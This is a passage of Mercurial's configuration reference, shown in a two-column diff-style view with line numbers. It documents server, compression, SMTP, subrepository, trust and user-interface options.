2383 Note: this option only control the order in which delta parents are
2384 considered. Even when disabled, the existing delta from the source will be
2384 considered. Even when disabled, the existing delta from the source will be
2385 reused if the same delta parent is selected.
2385 reused if the same delta parent is selected.
2386
2386
2387 ``revlog.reuse-external-delta``
2387 ``revlog.reuse-external-delta``
2388 Control the reuse of delta from external source.
2388 Control the reuse of delta from external source.
2389 (typically: apply bundle from `hg pull` or `hg push`).
2389 (typically: apply bundle from `hg pull` or `hg push`).
2390
2390
2391 New revisions are usually provided as a delta against another revision. By
2391 New revisions are usually provided as a delta against another revision. By
2392 default, Mercurial will not recompute the same delta again, trusting
2392 default, Mercurial will not recompute the same delta again, trusting
2393 externally provided deltas. There have been rare cases of small adjustment
2393 externally provided deltas. There have been rare cases of small adjustment
2394 to the diffing algorithm in the past. So in some rare case, recomputing
2394 to the diffing algorithm in the past. So in some rare case, recomputing
2395 delta provided by ancient clients can provides better results. Disabling
2395 delta provided by ancient clients can provides better results. Disabling
2396 this option means going through a full delta recomputation for all incoming
2396 this option means going through a full delta recomputation for all incoming
2397 revisions. It means a large increase in CPU usage and will slow operations
2397 revisions. It means a large increase in CPU usage and will slow operations
2398 down.
2398 down.
2399
2399
2400 This option is enabled by default. When disabled, it also disables the
2400 This option is enabled by default. When disabled, it also disables the
2401 related ``storage.revlog.reuse-external-delta-parent`` option.
2401 related ``storage.revlog.reuse-external-delta-parent`` option.
2402
2402
2403 ``revlog.zlib.level``
2403 ``revlog.zlib.level``
2404 Zlib compression level used when storing data into the repository. Accepted
2404 Zlib compression level used when storing data into the repository. Accepted
2405 Value range from 1 (lowest compression) to 9 (highest compression). Zlib
2405 Value range from 1 (lowest compression) to 9 (highest compression). Zlib
2406 default value is 6.
2406 default value is 6.
2407
2407
2408
2408
2409 ``revlog.zstd.level``
2409 ``revlog.zstd.level``
2410 zstd compression level used when storing data into the repository. Accepted
2410 zstd compression level used when storing data into the repository. Accepted
2411 Value range from 1 (lowest compression) to 22 (highest compression).
2411 Value range from 1 (lowest compression) to 22 (highest compression).
2412 (default 3)
2412 (default 3)
2413
2413
2414 ``server``
2414 ``server``
2415 ----------
2415 ----------
2416
2416
2417 Controls generic server settings.
2417 Controls generic server settings.
2418
2418
2419 ``bookmarks-pushkey-compat``
2419 ``bookmarks-pushkey-compat``
2420 Trigger pushkey hook when being pushed bookmark updates. This config exist
2420 Trigger pushkey hook when being pushed bookmark updates. This config exist
2421 for compatibility purpose (default to True)
2421 for compatibility purpose (default to True)
2422
2422
2423 If you use ``pushkey`` and ``pre-pushkey`` hooks to control bookmark
2423 If you use ``pushkey`` and ``pre-pushkey`` hooks to control bookmark
2424 movement we recommend you migrate them to ``txnclose-bookmark`` and
2424 movement we recommend you migrate them to ``txnclose-bookmark`` and
2425 ``pretxnclose-bookmark``.
2425 ``pretxnclose-bookmark``.
2426
2426
2427 ``compressionengines``
2427 ``compressionengines``
2428 List of compression engines and their relative priority to advertise
2428 List of compression engines and their relative priority to advertise
2429 to clients.
2429 to clients.
2430
2430
2431 The order of compression engines determines their priority, the first
2431 The order of compression engines determines their priority, the first
2432 having the highest priority. If a compression engine is not listed
2432 having the highest priority. If a compression engine is not listed
2433 here, it won't be advertised to clients.
2433 here, it won't be advertised to clients.
2434
2434
2435 If not set (the default), built-in defaults are used. Run
2435 If not set (the default), built-in defaults are used. Run
2436 :hg:`debuginstall` to list available compression engines and their
2436 :hg:`debuginstall` to list available compression engines and their
2437 default wire protocol priority.
2437 default wire protocol priority.
2438
2438
2439 Older Mercurial clients only support zlib compression and this setting
2439 Older Mercurial clients only support zlib compression and this setting
2440 has no effect for legacy clients.
2440 has no effect for legacy clients.
2441
2441
2442 ``uncompressed``
2442 ``uncompressed``
2443 Whether to allow clients to clone a repository using the
2443 Whether to allow clients to clone a repository using the
2444 uncompressed streaming protocol. This transfers about 40% more
2444 uncompressed streaming protocol. This transfers about 40% more
2445 data than a regular clone, but uses less memory and CPU on both
2445 data than a regular clone, but uses less memory and CPU on both
2446 server and client. Over a LAN (100 Mbps or better) or a very fast
2446 server and client. Over a LAN (100 Mbps or better) or a very fast
2447 WAN, an uncompressed streaming clone is a lot faster (~10x) than a
2447 WAN, an uncompressed streaming clone is a lot faster (~10x) than a
2448 regular clone. Over most WAN connections (anything slower than
2448 regular clone. Over most WAN connections (anything slower than
2449 about 6 Mbps), uncompressed streaming is slower, because of the
2449 about 6 Mbps), uncompressed streaming is slower, because of the
2450 extra data transfer overhead. This mode will also temporarily hold
2450 extra data transfer overhead. This mode will also temporarily hold
2451 the write lock while determining what data to transfer.
2451 the write lock while determining what data to transfer.
2452 (default: True)
2452 (default: True)
2453
2453
2454 ``uncompressedallowsecret``
2454 ``uncompressedallowsecret``
2455 Whether to allow stream clones when the repository contains secret
2455 Whether to allow stream clones when the repository contains secret
2456 changesets. (default: False)
2456 changesets. (default: False)
2457
2457
2458 ``preferuncompressed``
2458 ``preferuncompressed``
2459 When set, clients will try to use the uncompressed streaming
2459 When set, clients will try to use the uncompressed streaming
2460 protocol. (default: False)
2460 protocol. (default: False)
2461
2461
2462 ``disablefullbundle``
2462 ``disablefullbundle``
2463 When set, servers will refuse attempts to do pull-based clones.
2463 When set, servers will refuse attempts to do pull-based clones.
2464 If this option is set, ``preferuncompressed`` and/or clone bundles
2464 If this option is set, ``preferuncompressed`` and/or clone bundles
2465 are highly recommended. Partial clones will still be allowed.
2465 are highly recommended. Partial clones will still be allowed.
2466 (default: False)
2466 (default: False)
2467
2467
2468 ``streamunbundle``
2468 ``streamunbundle``
2469 When set, servers will apply data sent from the client directly,
2469 When set, servers will apply data sent from the client directly,
2470 otherwise it will be written to a temporary file first. This option
2470 otherwise it will be written to a temporary file first. This option
2471 effectively prevents concurrent pushes.
2471 effectively prevents concurrent pushes.
2472
2472
2473 ``pullbundle``
2473 ``pullbundle``
2474 When set, the server will check pullbundles.manifest for bundles
2474 When set, the server will check pullbundles.manifest for bundles
2475 covering the requested heads and common nodes. The first matching
2475 covering the requested heads and common nodes. The first matching
2476 entry will be streamed to the client.
2476 entry will be streamed to the client.
2477
2477
2478 For HTTP transport, the stream will still use zlib compression
2478 For HTTP transport, the stream will still use zlib compression
2479 for older clients.
2479 for older clients.
2480
2480
2481 ``concurrent-push-mode``
2481 ``concurrent-push-mode``
2482 Level of allowed race condition between two pushing clients.
2482 Level of allowed race condition between two pushing clients.
2483
2483
2484 - 'strict': push is abort if another client touched the repository
2484 - 'strict': push is abort if another client touched the repository
2485 while the push was preparing.
2485 while the push was preparing.
2486 - 'check-related': push is only aborted if it affects head that got also
2486 - 'check-related': push is only aborted if it affects head that got also
2487 affected while the push was preparing. (default since 5.4)
2487 affected while the push was preparing. (default since 5.4)
2488
2488
2489 'check-related' only takes effect for compatible clients (version
2489 'check-related' only takes effect for compatible clients (version
2490 4.3 and later). Older clients will use 'strict'.
2490 4.3 and later). Older clients will use 'strict'.
2491
2491
2492 ``validate``
2492 ``validate``
2493 Whether to validate the completeness of pushed changesets by
2493 Whether to validate the completeness of pushed changesets by
2494 checking that all new file revisions specified in manifests are
2494 checking that all new file revisions specified in manifests are
2495 present. (default: False)
2495 present. (default: False)
2496
2496
2497 ``maxhttpheaderlen``
2497 ``maxhttpheaderlen``
2498 Instruct HTTP clients not to send request headers longer than this
2498 Instruct HTTP clients not to send request headers longer than this
2499 many bytes. (default: 1024)
2499 many bytes. (default: 1024)
2500
2500
2501 ``bundle1``
2501 ``bundle1``
2502 Whether to allow clients to push and pull using the legacy bundle1
2502 Whether to allow clients to push and pull using the legacy bundle1
2503 exchange format. (default: True)
2503 exchange format. (default: True)
2504
2504
2505 ``bundle1gd``
2505 ``bundle1gd``
2506 Like ``bundle1`` but only used if the repository is using the
2506 Like ``bundle1`` but only used if the repository is using the
2507 *generaldelta* storage format. (default: True)
2507 *generaldelta* storage format. (default: True)
2508
2508
2509 ``bundle1.push``
2509 ``bundle1.push``
2510 Whether to allow clients to push using the legacy bundle1 exchange
2510 Whether to allow clients to push using the legacy bundle1 exchange
2511 format. (default: True)
2511 format. (default: True)
2512
2512
2513 ``bundle1gd.push``
2513 ``bundle1gd.push``
2514 Like ``bundle1.push`` but only used if the repository is using the
2514 Like ``bundle1.push`` but only used if the repository is using the
2515 *generaldelta* storage format. (default: True)
2515 *generaldelta* storage format. (default: True)
2516
2516
2517 ``bundle1.pull``
2517 ``bundle1.pull``
2518 Whether to allow clients to pull using the legacy bundle1 exchange
2518 Whether to allow clients to pull using the legacy bundle1 exchange
2519 format. (default: True)
2519 format. (default: True)
2520
2520
2521 ``bundle1gd.pull``
2521 ``bundle1gd.pull``
2522 Like ``bundle1.pull`` but only used if the repository is using the
2522 Like ``bundle1.pull`` but only used if the repository is using the
2523 *generaldelta* storage format. (default: True)
2523 *generaldelta* storage format. (default: True)
2524
2524
2525 Large repositories using the *generaldelta* storage format should
2525 Large repositories using the *generaldelta* storage format should
2526 consider setting this option because converting *generaldelta*
2526 consider setting this option because converting *generaldelta*
2527 repositories to the exchange format required by the bundle1 data
2527 repositories to the exchange format required by the bundle1 data
2528 format can consume a lot of CPU.
2528 format can consume a lot of CPU.
2529
2529
2530 ``bundle2.stream``
2530 ``bundle2.stream``
2531 Whether to allow clients to pull using the bundle2 streaming protocol.
2531 Whether to allow clients to pull using the bundle2 streaming protocol.
2532 (default: True)
2532 (default: True)
2533
2533
2534 ``zliblevel``
2534 ``zliblevel``
2535 Integer between ``-1`` and ``9`` that controls the zlib compression level
2535 Integer between ``-1`` and ``9`` that controls the zlib compression level
2536 for wire protocol commands that send zlib compressed output (notably the
2536 for wire protocol commands that send zlib compressed output (notably the
2537 commands that send repository history data).
2537 commands that send repository history data).
2538
2538
2539 The default (``-1``) uses the default zlib compression level, which is
2539 The default (``-1``) uses the default zlib compression level, which is
2540 likely equivalent to ``6``. ``0`` means no compression. ``9`` means
2540 likely equivalent to ``6``. ``0`` means no compression. ``9`` means
2541 maximum compression.
2541 maximum compression.
2542
2542
2543 Setting this option allows server operators to make trade-offs between
2543 Setting this option allows server operators to make trade-offs between
2544 bandwidth and CPU used. Lowering the compression lowers CPU utilization
2544 bandwidth and CPU used. Lowering the compression lowers CPU utilization
2545 but sends more bytes to clients.
2545 but sends more bytes to clients.
2546
2546
2547 This option only impacts the HTTP server.
2547 This option only impacts the HTTP server.
2548
2548
2549 ``zstdlevel``
2549 ``zstdlevel``
2550 Integer between ``1`` and ``22`` that controls the zstd compression level
2550 Integer between ``1`` and ``22`` that controls the zstd compression level
2551 for wire protocol commands. ``1`` is the minimal amount of compression and
2551 for wire protocol commands. ``1`` is the minimal amount of compression and
2552 ``22`` is the highest amount of compression.
2552 ``22`` is the highest amount of compression.
2553
2553
2554 The default (``3``) should be significantly faster than zlib while likely
2554 The default (``3``) should be significantly faster than zlib while likely
2555 delivering better compression ratios.
2555 delivering better compression ratios.
2556
2556
2557 This option only impacts the HTTP server.
2557 This option only impacts the HTTP server.
2558
2558
2559 See also ``server.zliblevel``.
2559 See also ``server.zliblevel``.
2560
2560
2561 ``view``
2561 ``view``
2562 Repository filter used when exchanging revisions with the peer.
2562 Repository filter used when exchanging revisions with the peer.
2563
2563
2564 The default view (``served``) excludes secret and hidden changesets.
2564 The default view (``served``) excludes secret and hidden changesets.
2565 Another useful value is ``immutable`` (no draft, secret or hidden
2565 Another useful value is ``immutable`` (no draft, secret or hidden
2566 changesets). (EXPERIMENTAL)
2566 changesets). (EXPERIMENTAL)
2567
2567
2568 ``smtp``
2568 ``smtp``
2569 --------
2569 --------
2570
2570
2571 Configuration for extensions that need to send email messages.
2571 Configuration for extensions that need to send email messages.
2572
2572
2573 ``host``
2573 ``host``
2574 Host name of mail server, e.g. "mail.example.com".
2574 Host name of mail server, e.g. "mail.example.com".
2575
2575
2576 ``port``
2576 ``port``
2577 Optional. Port to connect to on mail server. (default: 465 if
2577 Optional. Port to connect to on mail server. (default: 465 if
2578 ``tls`` is smtps; 25 otherwise)
2578 ``tls`` is smtps; 25 otherwise)
2579
2579
2580 ``tls``
2580 ``tls``
2581 Optional. Method to enable TLS when connecting to mail server: starttls,
2581 Optional. Method to enable TLS when connecting to mail server: starttls,
2582 smtps or none. (default: none)
2582 smtps or none. (default: none)
2583
2583
2584 ``username``
2584 ``username``
2585 Optional. User name for authenticating with the SMTP server.
2585 Optional. User name for authenticating with the SMTP server.
2586 (default: None)
2586 (default: None)
2587
2587
2588 ``password``
2588 ``password``
2589 Optional. Password for authenticating with the SMTP server. If not
2589 Optional. Password for authenticating with the SMTP server. If not
2590 specified, interactive sessions will prompt the user for a
2590 specified, interactive sessions will prompt the user for a
2591 password; non-interactive sessions will fail. (default: None)
2591 password; non-interactive sessions will fail. (default: None)
2592
2592
2593 ``local_hostname``
2593 ``local_hostname``
2594 Optional. The hostname that the sender can use to identify
2594 Optional. The hostname that the sender can use to identify
2595 itself to the MTA.
2595 itself to the MTA.
2596
2596
2597
2597
2598 ``subpaths``
2598 ``subpaths``
2599 ------------
2599 ------------
2600
2600
2601 Subrepository source URLs can go stale if a remote server changes name
2601 Subrepository source URLs can go stale if a remote server changes name
2602 or becomes temporarily unavailable. This section lets you define
2602 or becomes temporarily unavailable. This section lets you define
2603 rewrite rules of the form::
2603 rewrite rules of the form::
2604
2604
2605 <pattern> = <replacement>
2605 <pattern> = <replacement>
2606
2606
2607 where ``pattern`` is a regular expression matching a subrepository
2607 where ``pattern`` is a regular expression matching a subrepository
2608 source URL and ``replacement`` is the replacement string used to
2608 source URL and ``replacement`` is the replacement string used to
2609 rewrite it. Groups can be matched in ``pattern`` and referenced in
2609 rewrite it. Groups can be matched in ``pattern`` and referenced in
2610 ``replacements``. For instance::
2610 ``replacements``. For instance::
2611
2611
2612 http://server/(.*)-hg/ = http://hg.server/\1/
2612 http://server/(.*)-hg/ = http://hg.server/\1/
2613
2613
2614 rewrites ``http://server/foo-hg/`` into ``http://hg.server/foo/``.
2614 rewrites ``http://server/foo-hg/`` into ``http://hg.server/foo/``.
2615
2615
2616 Relative subrepository paths are first made absolute, and the
2616 Relative subrepository paths are first made absolute, and the
2617 rewrite rules are then applied on the full (absolute) path. If ``pattern``
2617 rewrite rules are then applied on the full (absolute) path. If ``pattern``
2618 doesn't match the full path, an attempt is made to apply it on the
2618 doesn't match the full path, an attempt is made to apply it on the
2619 relative path alone. The rules are applied in definition order.
2619 relative path alone. The rules are applied in definition order.
2620
2620
2621 ``subrepos``
2621 ``subrepos``
2622 ------------
2622 ------------
2623
2623
2624 This section contains options that control the behavior of the
2624 This section contains options that control the behavior of the
2625 subrepositories feature. See also :hg:`help subrepos`.
2625 subrepositories feature. See also :hg:`help subrepos`.
2626
2626
2627 Security note: auditing in Mercurial is known to be insufficient to
2627 Security note: auditing in Mercurial is known to be insufficient to
2628 prevent clone-time code execution with carefully constructed Git
2628 prevent clone-time code execution with carefully constructed Git
2629 subrepos. It is unknown if a similar detect is present in Subversion
2629 subrepos. It is unknown if a similar detect is present in Subversion
2630 subrepos. Both Git and Subversion subrepos are disabled by default
2630 subrepos. Both Git and Subversion subrepos are disabled by default
2631 out of security concerns. These subrepo types can be enabled using
2631 out of security concerns. These subrepo types can be enabled using
2632 the respective options below.
2632 the respective options below.
2633
2633
2634 ``allowed``
2634 ``allowed``
2635 Whether subrepositories are allowed in the working directory.
2635 Whether subrepositories are allowed in the working directory.
2636
2636
2637 When false, commands involving subrepositories (like :hg:`update`)
2637 When false, commands involving subrepositories (like :hg:`update`)
2638 will fail for all subrepository types.
2638 will fail for all subrepository types.
2639 (default: true)
2639 (default: true)
2640
2640
2641 ``hg:allowed``
2641 ``hg:allowed``
2642 Whether Mercurial subrepositories are allowed in the working
2642 Whether Mercurial subrepositories are allowed in the working
2643 directory. This option only has an effect if ``subrepos.allowed``
2643 directory. This option only has an effect if ``subrepos.allowed``
2644 is true.
2644 is true.
2645 (default: true)
2645 (default: true)
2646
2646
2647 ``git:allowed``
2647 ``git:allowed``
2648 Whether Git subrepositories are allowed in the working directory.
2648 Whether Git subrepositories are allowed in the working directory.
2649 This option only has an effect if ``subrepos.allowed`` is true.
2649 This option only has an effect if ``subrepos.allowed`` is true.
2650
2650
2651 See the security note above before enabling Git subrepos.
2651 See the security note above before enabling Git subrepos.
2652 (default: false)
2652 (default: false)
2653
2653
2654 ``svn:allowed``
2654 ``svn:allowed``
2655 Whether Subversion subrepositories are allowed in the working
2655 Whether Subversion subrepositories are allowed in the working
2656 directory. This option only has an effect if ``subrepos.allowed``
2656 directory. This option only has an effect if ``subrepos.allowed``
2657 is true.
2657 is true.
2658
2658
2659 See the security note above before enabling Subversion subrepos.
2659 See the security note above before enabling Subversion subrepos.
2660 (default: false)
2660 (default: false)
2661
2661
2662 ``templatealias``
2662 ``templatealias``
2663 -----------------
2663 -----------------
2664
2664
2665 Alias definitions for templates. See :hg:`help templates` for details.
2665 Alias definitions for templates. See :hg:`help templates` for details.
2666
2666
2667 ``templates``
2667 ``templates``
2668 -------------
2668 -------------
2669
2669
2670 Use the ``[templates]`` section to define template strings.
2670 Use the ``[templates]`` section to define template strings.
2671 See :hg:`help templates` for details.
2671 See :hg:`help templates` for details.
2672
2672
2673 ``trusted``
2673 ``trusted``
2674 -----------
2674 -----------
2675
2675
2676 Mercurial will not use the settings in the
2676 Mercurial will not use the settings in the
2677 ``.hg/hgrc`` file from a repository if it doesn't belong to a trusted
2677 ``.hg/hgrc`` file from a repository if it doesn't belong to a trusted
2678 user or to a trusted group, as various hgrc features allow arbitrary
2678 user or to a trusted group, as various hgrc features allow arbitrary
2679 commands to be run. This issue is often encountered when configuring
2679 commands to be run. This issue is often encountered when configuring
2680 hooks or extensions for shared repositories or servers. However,
2680 hooks or extensions for shared repositories or servers. However,
2681 the web interface will use some safe settings from the ``[web]``
2681 the web interface will use some safe settings from the ``[web]``
2682 section.
2682 section.
2683
2683
2684 This section specifies what users and groups are trusted. The
2684 This section specifies what users and groups are trusted. The
2685 current user is always trusted. To trust everybody, list a user or a
2685 current user is always trusted. To trust everybody, list a user or a
2686 group with name ``*``. These settings must be placed in an
2686 group with name ``*``. These settings must be placed in an
2687 *already-trusted file* to take effect, such as ``$HOME/.hgrc`` of the
2687 *already-trusted file* to take effect, such as ``$HOME/.hgrc`` of the
2688 user or service running Mercurial.
2688 user or service running Mercurial.
2689
2689
2690 ``users``
2690 ``users``
2691 Comma-separated list of trusted users.
2691 Comma-separated list of trusted users.
2692
2692
2693 ``groups``
2693 ``groups``
2694 Comma-separated list of trusted groups.
2694 Comma-separated list of trusted groups.
2695
2695
2696
2696
2697 ``ui``
2697 ``ui``
2698 ------
2698 ------
2699
2699
2700 User interface controls.
2700 User interface controls.
2701
2701
2702 ``archivemeta``
2702 ``archivemeta``
2703 Whether to include the .hg_archival.txt file containing meta data
2703 Whether to include the .hg_archival.txt file containing meta data
2704 (hashes for the repository base and for tip) in archives created
2704 (hashes for the repository base and for tip) in archives created
2705 by the :hg:`archive` command or downloaded via hgweb.
2705 by the :hg:`archive` command or downloaded via hgweb.
2706 (default: True)
2706 (default: True)
2707
2707
2708 ``askusername``
2708 ``askusername``
2709 Whether to prompt for a username when committing. If True, and
2709 Whether to prompt for a username when committing. If True, and
2710 neither ``$HGUSER`` nor ``$EMAIL`` has been specified, then the user will
2710 neither ``$HGUSER`` nor ``$EMAIL`` has been specified, then the user will
2711 be prompted to enter a username. If no username is entered, the
2711 be prompted to enter a username. If no username is entered, the
2712 default ``USER@HOST`` is used instead.
2712 default ``USER@HOST`` is used instead.
2713 (default: False)
2713 (default: False)
2714
2714
2715 ``clonebundles``
2715 ``clonebundles``
2716 Whether the "clone bundles" feature is enabled.
2716 Whether the "clone bundles" feature is enabled.
2717
2717
2718 When enabled, :hg:`clone` may download and apply a server-advertised
2718 When enabled, :hg:`clone` may download and apply a server-advertised
2719 bundle file from a URL instead of using the normal exchange mechanism.
2719 bundle file from a URL instead of using the normal exchange mechanism.
2720
2720
2721 This can likely result in faster and more reliable clones.
2721 This can likely result in faster and more reliable clones.
2722
2722
2723 (default: True)
2723 (default: True)
2724
2724
2725 ``clonebundlefallback``
2725 ``clonebundlefallback``
2726 Whether failure to apply an advertised "clone bundle" from a server
2726 Whether failure to apply an advertised "clone bundle" from a server
2727 should result in fallback to a regular clone.
2727 should result in fallback to a regular clone.
2728
2728
2729 This is disabled by default because servers advertising "clone
2729 This is disabled by default because servers advertising "clone
2730 bundles" often do so to reduce server load. If advertised bundles
2730 bundles" often do so to reduce server load. If advertised bundles
2731 start mass failing and clients automatically fall back to a regular
2731 start mass failing and clients automatically fall back to a regular
2732 clone, this would add significant and unexpected load to the server
2732 clone, this would add significant and unexpected load to the server
2733 since the server is expecting clone operations to be offloaded to
2733 since the server is expecting clone operations to be offloaded to
2734 pre-generated bundles. Failing fast (the default behavior) ensures
2734 pre-generated bundles. Failing fast (the default behavior) ensures
2735 clients don't overwhelm the server when "clone bundle" application
2735 clients don't overwhelm the server when "clone bundle" application
2736 fails.
2736 fails.
2737
2737
2738 (default: False)
2738 (default: False)
2739
2739
2740 ``clonebundleprefers``
2740 ``clonebundleprefers``
2741 Defines preferences for which "clone bundles" to use.
2741 Defines preferences for which "clone bundles" to use.
2742
2742
2743 Servers advertising "clone bundles" may advertise multiple available
2743 Servers advertising "clone bundles" may advertise multiple available
2744 bundles. Each bundle may have different attributes, such as the bundle
2744 bundles. Each bundle may have different attributes, such as the bundle
2745 type and compression format. This option is used to prefer a particular
2745 type and compression format. This option is used to prefer a particular
2746 bundle over another.
2746 bundle over another.
2747
2747
2748 The following keys are defined by Mercurial:
2748 The following keys are defined by Mercurial:
2749
2749
2750 BUNDLESPEC
2750 BUNDLESPEC
2751 A bundle type specifier. These are strings passed to :hg:`bundle -t`.
2751 A bundle type specifier. These are strings passed to :hg:`bundle -t`.
2752 e.g. ``gzip-v2`` or ``bzip2-v1``.
2752 e.g. ``gzip-v2`` or ``bzip2-v1``.
2753
2753
2754 COMPRESSION
2754 COMPRESSION
2755 The compression format of the bundle. e.g. ``gzip`` and ``bzip2``.
2755 The compression format of the bundle. e.g. ``gzip`` and ``bzip2``.
2756
2756
2757 Server operators may define custom keys.
2757 Server operators may define custom keys.
2758
2758
2759 Example values: ``COMPRESSION=bzip2``,
2759 Example values: ``COMPRESSION=bzip2``,
2760 ``BUNDLESPEC=gzip-v2, COMPRESSION=gzip``.
2760 ``BUNDLESPEC=gzip-v2, COMPRESSION=gzip``.
2761
2761
2762 By default, the first bundle advertised by the server is used.
2762 By default, the first bundle advertised by the server is used.
2763
2763
2764 ``color``
2764 ``color``
2765 When to colorize output. Possible value are Boolean ("yes" or "no"), or
2765 When to colorize output. Possible value are Boolean ("yes" or "no"), or
2766 "debug", or "always". (default: "yes"). "yes" will use color whenever it
2766 "debug", or "always". (default: "yes"). "yes" will use color whenever it
2767 seems possible. See :hg:`help color` for details.
2767 seems possible. See :hg:`help color` for details.
2768
2768
2769 ``commitsubrepos``
2769 ``commitsubrepos``
2770 Whether to commit modified subrepositories when committing the
2770 Whether to commit modified subrepositories when committing the
2771 parent repository. If False and one subrepository has uncommitted
2771 parent repository. If False and one subrepository has uncommitted
2772 changes, abort the commit.
2772 changes, abort the commit.
2773 (default: False)
2773 (default: False)
2774
2774
2775 ``debug``
2775 ``debug``
2776 Print debugging information. (default: False)
2776 Print debugging information. (default: False)
2777
2777
2778 ``editor``
2778 ``editor``
2779 The editor to use during a commit. (default: ``$EDITOR`` or ``vi``)
2779 The editor to use during a commit. (default: ``$EDITOR`` or ``vi``)
2780
2780
2781 ``fallbackencoding``
2781 ``fallbackencoding``
2782 Encoding to try if it's not possible to decode the changelog using
2782 Encoding to try if it's not possible to decode the changelog using
2783 UTF-8. (default: ISO-8859-1)
2783 UTF-8. (default: ISO-8859-1)
2784
2784
2785 ``graphnodetemplate``
2785 ``graphnodetemplate``
2786 (DEPRECATED) Use ``command-templates.graphnode`` instead.
2786 (DEPRECATED) Use ``command-templates.graphnode`` instead.
2787
2787
2788 ``ignore``
2788 ``ignore``
2789 A file to read per-user ignore patterns from. This file should be
2789 A file to read per-user ignore patterns from. This file should be
2790 in the same format as a repository-wide .hgignore file. Filenames
2790 in the same format as a repository-wide .hgignore file. Filenames
2791 are relative to the repository root. This option supports hook syntax,
2791 are relative to the repository root. This option supports hook syntax,
2792 so if you want to specify multiple ignore files, you can do so by
2792 so if you want to specify multiple ignore files, you can do so by
2793 setting something like ``ignore.other = ~/.hgignore2``. For details
2793 setting something like ``ignore.other = ~/.hgignore2``. For details
2794 of the ignore file format, see the ``hgignore(5)`` man page.
2794 of the ignore file format, see the ``hgignore(5)`` man page.
2795
2795
2796 ``interactive``
2796 ``interactive``
2797 Allow to prompt the user. (default: True)
2797 Allow to prompt the user. (default: True)
2798
2798
2799 ``interface``
2799 ``interface``
2800 Select the default interface for interactive features (default: text).
2800 Select the default interface for interactive features (default: text).
2801 Possible values are 'text' and 'curses'.
2801 Possible values are 'text' and 'curses'.
2802
2802
2803 ``interface.chunkselector``
2803 ``interface.chunkselector``
2804 Select the interface for change recording (e.g. :hg:`commit -i`).
2804 Select the interface for change recording (e.g. :hg:`commit -i`).
2805 Possible values are 'text' and 'curses'.
2805 Possible values are 'text' and 'curses'.
2806 This config overrides the interface specified by ui.interface.
2806 This config overrides the interface specified by ui.interface.
2807
2807
2808 ``large-file-limit``
2808 ``large-file-limit``
2809 Largest file size that gives no memory use warning.
2809 Largest file size that gives no memory use warning.
2810 Possible values are integers or 0 to disable the check.
2810 Possible values are integers or 0 to disable the check.
2811 Value is expressed in bytes by default, one can use standard units for
2811 Value is expressed in bytes by default, one can use standard units for
2812 convenience (e.g. 10MB, 0.1GB, etc) (default: 10MB)
2812 convenience (e.g. 10MB, 0.1GB, etc) (default: 10MB)
2813
2813
2814 ``logtemplate``
2814 ``logtemplate``
2815 (DEPRECATED) Use ``command-templates.log`` instead.
2815 (DEPRECATED) Use ``command-templates.log`` instead.
2816
2816
2817 ``merge``
2817 ``merge``
2818 The conflict resolution program to use during a manual merge.
2818 The conflict resolution program to use during a manual merge.
2819 For more information on merge tools see :hg:`help merge-tools`.
2819 For more information on merge tools see :hg:`help merge-tools`.
2820 For configuring merge tools see the ``[merge-tools]`` section.
2820 For configuring merge tools see the ``[merge-tools]`` section.
2821
2821
2822 ``mergemarkers``
2822 ``mergemarkers``
2823 Sets the merge conflict marker label styling. The ``detailed`` style
2823 Sets the merge conflict marker label styling. The ``detailed`` style
2824 uses the ``command-templates.mergemarker`` setting to style the labels.
2824 uses the ``command-templates.mergemarker`` setting to style the labels.
2825 The ``basic`` style just uses 'local' and 'other' as the marker label.
2825 The ``basic`` style just uses 'local' and 'other' as the marker label.
2826 One of ``basic`` or ``detailed``.
2826 One of ``basic`` or ``detailed``.
2827 (default: ``basic``)
2827 (default: ``basic``)
2828
2828
2829 ``mergemarkertemplate``
2829 ``mergemarkertemplate``
2830 (DEPRECATED) Use ``command-templates.mergemarker`` instead.
2830 (DEPRECATED) Use ``command-templates.mergemarker`` instead.
2831
2831
2832 ``message-output``
2832 ``message-output``
2833 Where to write status and error messages. (default: ``stdio``)
2833 Where to write status and error messages. (default: ``stdio``)
2834
2834
2835 ``channel``
2835 ``channel``
2836 Use separate channel for structured output. (Command-server only)
2836 Use separate channel for structured output. (Command-server only)
2837 ``stderr``
2837 ``stderr``
2838 Everything to stderr.
2838 Everything to stderr.
2839 ``stdio``
2839 ``stdio``
2840 Status to stdout, and error to stderr.
2840 Status to stdout, and error to stderr.
2841
2841
2842 ``origbackuppath``
2842 ``origbackuppath``
2843 The path to a directory used to store generated .orig files. If the path is
2843 The path to a directory used to store generated .orig files. If the path is
2844 not a directory, one will be created. If set, files stored in this
2844 not a directory, one will be created. If set, files stored in this
2845 directory have the same name as the original file and do not have a .orig
2845 directory have the same name as the original file and do not have a .orig
2846 suffix.
2846 suffix.
2847
2847
2848 ``paginate``
2848 ``paginate``
2849 Control the pagination of command output (default: True). See :hg:`help pager`
2849 Control the pagination of command output (default: True). See :hg:`help pager`
2850 for details.
2850 for details.
2851
2851
2852 ``patch``
2852 ``patch``
2853 An optional external tool that ``hg import`` and some extensions
2853 An optional external tool that ``hg import`` and some extensions
2854 will use for applying patches. By default Mercurial uses an
2854 will use for applying patches. By default Mercurial uses an
2855 internal patch utility. The external tool must work as the common
2855 internal patch utility. The external tool must work as the common
2856 Unix ``patch`` program. In particular, it must accept a ``-p``
2856 Unix ``patch`` program. In particular, it must accept a ``-p``
2857 argument to strip patch headers, a ``-d`` argument to specify the
2857 argument to strip patch headers, a ``-d`` argument to specify the
2858 current directory, a file name to patch, and a patch file to take
2858 current directory, a file name to patch, and a patch file to take
2859 from stdin.
2859 from stdin.
2860
2860
2861 It is possible to specify a patch tool together with extra
2861 It is possible to specify a patch tool together with extra
2862 arguments. For example, setting this option to ``patch --merge``
2862 arguments. For example, setting this option to ``patch --merge``
2863 will use the ``patch`` program with its 2-way merge option.
2863 will use the ``patch`` program with its 2-way merge option.
2864
2864
2865 ``portablefilenames``
2865 ``portablefilenames``
2866 Check for portable filenames. Can be ``warn``, ``ignore`` or ``abort``.
2866 Check for portable filenames. Can be ``warn``, ``ignore`` or ``abort``.
2867 (default: ``warn``)
2867 (default: ``warn``)
2868
2868
2869 ``warn``
2869 ``warn``
2870 Print a warning message on POSIX platforms, if a file with a non-portable
2870 Print a warning message on POSIX platforms, if a file with a non-portable
2871 filename is added (e.g. a file with a name that can't be created on
2871 filename is added (e.g. a file with a name that can't be created on
2872 Windows because it contains reserved parts like ``AUX``, reserved
2872 Windows because it contains reserved parts like ``AUX``, reserved
2873 characters like ``:``, or would cause a case collision with an existing
2873 characters like ``:``, or would cause a case collision with an existing
2874 file).
2874 file).
2875
2875
2876 ``ignore``
